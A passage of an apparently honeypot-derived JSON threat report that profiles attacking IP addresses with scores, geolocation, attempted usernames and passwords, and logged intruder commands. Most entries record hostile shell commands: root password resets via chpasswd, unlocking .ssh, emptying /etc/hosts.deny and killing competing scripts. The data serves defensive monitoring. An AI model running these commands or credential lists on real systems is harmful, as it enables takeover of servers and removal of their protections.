        "ashish",
        "belkinstyle",
        "carol",
        "cf1c22",
        "client",
        "config",
        "cpanel",
        "demo",
        "ftpuser",
        "george",
        "guest"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "1234",
        "12345678",
        "abc123",
        "admin",
        "admin123",
        "*****",
        "0l0ctyQh243O63uD",
        "1",
        "1111",
        "111111",
        "123",
        "12345",
        "123456789",
        "72b1bd75ac87852a",
        "72ca06",
        "?",
        "OkwKcECs8qJP2Z",
        "admin01"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 704,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T15:49:39.266000+00:00",
        "last_seen_30d": "2026-03-18T16:18:09.190000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 497,
        "Suricata": 207
      }
    },
    "103.134.154.55": {
      "attack_count": 487,
      "first_seen": "2026-03-04T09:33:51.471Z",
      "last_seen": "2026-03-14T23:52:53.560Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "liang",
        "admin",
        "andre",
        "cc",
        "marcelo",
        "syncthing",
        "tmp",
        "ubuntu",
        "usuario",
        "won"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Bingo@1993",
        "123",
        "123!@#123",
        "1234",
        "12345",
        "123456",
        "123456@Ab",
        "123abcABC",
        "1qaz!2wsx@",
        "6666",
        "888888",
        "Aa@123456",
        "Ab123456!",
        "Ab123456+",
        "Abc@111111",
        "Andre123!",
        "Letmein!",
        "Li123456789"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\noUyCrwC4wIhw\\noUyCrwC4wIhw\\n\"|passwd",
        "echo \"root:01X0dq8jlYAB\"|chpasswd|bash",
        "echo \"root:IgNr1Of65bt5\"|chpasswd|bash",
        "echo \"root:nkL8XaX7IQ38\"|chpasswd|bash",
        "echo -e \"12345\\noUyCrwC4wIhw\\noUyCrwC4wIhw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.8,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 597,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T09:33:51.471000+00:00",
        "last_seen_30d": "2026-03-14T23:54:01.791000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 487,
        "Suricata": 110
      }
    },
    "103.250.11.118": {
      "attack_count": 456,
      "first_seen": "2026-03-12T22:40:44.398Z",
      "last_seen": "2026-03-20T03:29:33.239Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "Admin",
        "client1",
        "u1",
        "webadmin",
        "aws",
        "claude",
        "comp",
        "crm",
        "dan",
        "debug",
        "elearn",
        "fox",
        "gits",
        "jane",
        "jira",
        "khan",
        "manager",
        "mason",
        "michelle"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "password",
        "123",
        "12345",
        "123456",
        "12qw!@QW",
        "Admin",
        "Client1123!",
        "Dan",
        "Fox123",
        "Michelle123",
        "Nexus123",
        "Webadmin123",
        "aws123",
        "janepassword",
        "jirapass",
        "mason1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Admin\\nAmWV2YU60oR5\\nAmWV2YU60oR5\\n\"|passwd",
        "echo \"Client1123!\\nMXuHKInDNStW\\nMXuHKInDNStW\\n\"|passwd",
        "echo \"Webadmin123\\nVE6q0zXRYIxp\\nVE6q0zXRYIxp\\n\"|passwd",
        "echo \"u1123\\ngRGKJMRUdAEj\\ngRGKJMRUdAEj\\n\"|passwd",
        "echo -e \"Admin\\nAmWV2YU60oR5\\nAmWV2YU60oR5\"|passwd|bash",
        "echo -e \"Client1123!\\nMXuHKInDNStW\\nMXuHKInDNStW\"|passwd|bash",
        "echo -e \"Webadmin123\\nVE6q0zXRYIxp\\nVE6q0zXRYIxp\"|passwd|bash",
        "echo -e \"u1123\\ngRGKJMRUdAEj\\ngRGKJMRUdAEj\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 29.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.5,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 559,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T22:40:44.398000+00:00",
        "last_seen_30d": "2026-03-20T03:30:34.250000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 456,
        "Suricata": 103
      }
    },
    "116.99.170.151": {
      "attack_count": 444,
      "first_seen": "2026-03-16T14:43:19.574Z",
      "last_seen": "2026-03-16T15:09:18.354Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "support",
        "developer",
        "test",
        "user",
        "*****",
        "123456",
        "ace",
        "admian",
        "am",
        "ashish",
        "auto",
        "belkinstyle",
        "bin",
        "brenda",
        "carol",
        "client",
        "cpanel",
        "db2inst2"
      ],
      "passwords_attempted": [
        "admin",
        "password",
        "123456",
        "1234",
        "12345678",
        "abc123",
        "admin123",
        "*****",
        "0987654321",
        "12345",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "72ca06",
        "Deadstar!",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abcd1234",
        "abcdefg",
        "ace",
        "admin01"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 630,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T14:43:19.574000+00:00",
        "last_seen_30d": "2026-03-16T15:10:25.582000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 444,
        "Suricata": 186
      }
    },
    "91.92.199.36": {
      "attack_count": 423,
      "first_seen": "2026-03-09T16:42:15.085Z",
      "last_seen": "2026-03-28T14:31:43.541Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "pilot",
        "airflow",
        "crafty",
        "ftpuser",
        "newusername",
        "pavel",
        "steam",
        "vincent"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "!P@ssw0rd!",
        "!QWERTY123",
        "12345",
        "123qwe,./",
        "1qaz!@2wsx",
        "1qaz@WSX",
        "2025.",
        "8756",
        "AAaa1234",
        "ABCabc123",
        "Admin001",
        "Admin1234567@",
        "P@ssword1",
        "crafty123!",
        "ft123456",
        "money7",
        "nishizhu"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"pilotpass\\nNTBhi7oVK1Mf\\nNTBhi7oVK1Mf\\n\"|passwd",
        "echo \"root:53kJ7ZZBBRKY\"|chpasswd|bash",
        "echo \"root:R3FecIo7CKZi\"|chpasswd|bash",
        "echo \"root:RKcek8FNXYRD\"|chpasswd|bash",
        "echo -e \"pilotpass\\nNTBhi7oVK1Mf\\nNTBhi7oVK1Mf\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 34224,
      "as_org": "Neterra Ltd.",
      "threat_score": 50.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.2,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 520,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T16:42:15.085000+00:00",
        "last_seen_30d": "2026-03-28T14:32:50.294000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 423,
        "Suricata": 97
      }
    },
    "213.21.253.244": {
      "attack_count": 416,
      "first_seen": "2026-03-05T15:29:37.517Z",
      "last_seen": "2026-03-10T10:28:10.668Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "ubuntu",
        "345gs5662d34",
        "clawd",
        "root",
        "rtest",
        "test",
        "adminuser",
        "arthur",
        "ceo",
        "controlm",
        "ec2-user",
        "external",
        "ftpupload",
        "hari",
        "itadmin",
        "lekaren",
        "lh",
        "superadmin",
        "ttx"
      ],
      "passwords_attempted": [
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "1234",
        "123456",
        "@A123456",
        "A123123A",
        "A1234567090",
        "A1234567T",
        "A123456h^",
        "AA@2021",
        "Aa123Aa123",
        "Aa@12345",
        "Bb@123456",
        "Ftpupload123!",
        "Qq@123456",
        "Root123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nVNvxGcIyfDVR\\nVNvxGcIyfDVR\\n\"|passwd",
        "echo \"A123456h^\\n68VcIdlVch0Q\\n68VcIdlVch0Q\\n\"|passwd",
        "echo \"Bb@123456\\ndcEaTfKONjU9\\ndcEaTfKONjU9\\n\"|passwd",
        "echo \"Rtest123\\ngWqKmtWqzgQ3\\ngWqKmtWqzgQ3\\n\"|passwd",
        "echo -e \"123456\\nVNvxGcIyfDVR\\nVNvxGcIyfDVR\"|passwd|bash",
        "echo -e \"A123456h^\\n68VcIdlVch0Q\\n68VcIdlVch0Q\"|passwd|bash",
        "echo -e \"Bb@123456\\ndcEaTfKONjU9\\ndcEaTfKONjU9\"|passwd|bash",
        "echo -e \"Rtest123\\ngWqKmtWqzgQ3\\ngWqKmtWqzgQ3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Latvia",
      "country_code": "LV",
      "city": null,
      "asn": 215590,
      "as_org": "DpkgSoft International Limited",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 10.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 2393,
        "days_active_30d": 12,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:19:10.687000+00:00",
        "last_seen_30d": "2026-03-13T00:09:36.245000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1977,
        "Cowrie": 416
      }
    },
    "14.34.157.138": {
      "attack_count": 415,
      "first_seen": "2026-03-05T05:07:58.192Z",
      "last_seen": "2026-03-30T00:17:09.364Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "shyam",
        "assistant",
        "deployer",
        "park",
        "sysop",
        "ttt",
        "userdeploy",
        "x"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@QW12qw",
        "!QAZxsw2#EDC",
        "12345678",
        "1234Zxcv",
        "147369258",
        "1Password!",
        "ADMIN123",
        "Aa@123",
        "Bingo@1993",
        "Oe123456@",
        "Pa$$w0rd1",
        "Passw0rd2025",
        "Qwer!@#$1234",
        "Qwer4321",
        "Rx.123456",
        "Sl123456@",
        "Ttt123",
        "Yx123456!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"password\\ncs9tz1cBt2l3\\ncs9tz1cBt2l3\\n\"|passwd",
        "echo \"root:dwv2IeCna6Mh\"|chpasswd|bash",
        "echo \"root:pSd5fc0LXRJs\"|chpasswd|bash",
        "echo -e \"password\\ncs9tz1cBt2l3\\ncs9tz1cBt2l3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Pyeongtaek-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 58.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.3,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 532,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T05:07:58.192000+00:00",
        "last_seen_30d": "2026-03-30T00:18:13.269000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 415,
        "Suricata": 117
      }
    },
    "52.169.217.131": {
      "attack_count": 380,
      "first_seen": "2026-03-05T23:28:59.298Z",
      "last_seen": "2026-03-10T09:06:51.793Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "dev",
        "hik",
        "manu",
        "supermicro",
        "administrator",
        "clawd",
        "cristi",
        "dbadmin",
        "host",
        "karim",
        "nikita",
        "silva",
        "trooper",
        "tv",
        "won",
        "znc",
        "zsolt"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Cristi123",
        "Dd123456",
        "Hik@2023",
        "Qwerty1!",
        "Welcome1!",
        "administrator1234",
        "clawd",
        "dbadmin",
        "hik1234",
        "host1234",
        "manupass",
        "nikita123",
        "password",
        "silva123!",
        "supermicro1234",
        "tvpass",
        "wonpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"manupass\\nNR17tgCsxPaV\\nNR17tgCsxPaV\\n\"|passwd",
        "echo \"password\\nDvCCBnDD55Cv\\nDvCCBnDD55Cv\\n\"|passwd",
        "echo \"root:e44NzfZKOIFm\"|chpasswd|bash",
        "echo \"supermicro1234\\ntQaG2fNayqTD\\ntQaG2fNayqTD\\n\"|passwd",
        "echo -e \"manupass\\nNR17tgCsxPaV\\nNR17tgCsxPaV\"|passwd|bash",
        "echo -e \"password\\nDvCCBnDD55Cv\\nDvCCBnDD55Cv\"|passwd|bash",
        "echo -e \"supermicro1234\\ntQaG2fNayqTD\\ntQaG2fNayqTD\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Ireland",
      "country_code": "IE",
      "city": "Dublin",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 446,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T23:28:59.298000+00:00",
        "last_seen_30d": "2026-03-10T09:07:57.406000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 380,
        "Suricata": 66
      }
    },
    "58.225.220.117": {
      "attack_count": 377,
      "first_seen": "2026-03-04T11:02:31.655Z",
      "last_seen": "2026-03-09T16:20:17.255Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ashish",
        "juan",
        "mgmt",
        "mk",
        "posiflex",
        "scraper",
        "server",
        "testuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "1234",
        "Bingo@1993",
        "Dd123456",
        "Password232323@",
        "Qaz@123456",
        "Qq123321",
        "Reza@123",
        "adm12345",
        "admin1234!",
        "admin2022.",
        "ashishpass",
        "esther1",
        "mgmt1234",
        "mkpass",
        "q123456789",
        "raspberry",
        "scraperpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:EBkQHnjFYqaN\"|chpasswd|bash",
        "echo \"root:NC24M2jmfYxP\"|chpasswd|bash",
        "echo \"root:RhETgxXWYX7r\"|chpasswd|bash",
        "echo \"root:uDKrB0p99Zar\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Pyeongtaek-si",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 445,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T11:02:31.655000+00:00",
        "last_seen_30d": "2026-03-09T16:21:25.016000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 377,
        "Suricata": 68
      }
    },
    "69.156.92.65": {
      "attack_count": 376,
      "first_seen": "2026-03-04T12:20:48.364Z",
      "last_seen": "2026-03-05T14:07:56.250Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0416",
        "1234Admin@#$",
        "123abc,.",
        "1qazxsw2#EDCVFR$",
        "2025zxc$",
        "243edc4rfv",
        "@Aa123456",
        "@justdoit",
        "@welcome2026",
        "Bingo@1993",
        "Huawei#2024",
        "Pass25!!",
        "Qwe123..",
        "cc2024@#$",
        "keypos",
        "l3tme1n@12",
        "login!@#2024",
        "qwerty123@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:cSitVuCJCkm2\"|chpasswd|bash",
        "echo \"root:eQqEWdi3lQhG\"|chpasswd|bash",
        "echo \"root:hfwLBJ5neUCm\"|chpasswd|bash",
        "echo \"root:wKcPfJdMFQmY\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "North York",
      "asn": 577,
      "as_org": "Bell Canada",
      "threat_score": 5.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 443,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:20:48.364000+00:00",
        "last_seen_30d": "2026-03-05T14:09:00.914000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 376,
        "Suricata": 67
      }
    },
    "159.223.226.138": {
      "attack_count": 308,
      "first_seen": "2026-03-09T02:44:12.828Z",
      "last_seen": "2026-03-09T03:49:30.463Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubuntu",
        "centos"
      ],
      "passwords_attempted": [
        "123456",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "12345678",
        "123456789",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "admin",
        "Admin123",
        "admin123",
        "centos"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:44:12.828000+00:00",
        "last_seen_30d": "2026-03-09T03:50:35.562000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 308,
        "Suricata": 131
      }
    },
    "103.78.2.212": {
      "attack_count": 299,
      "first_seen": "2026-03-30T15:14:48.769Z",
      "last_seen": "2026-03-30T16:48:09.448Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
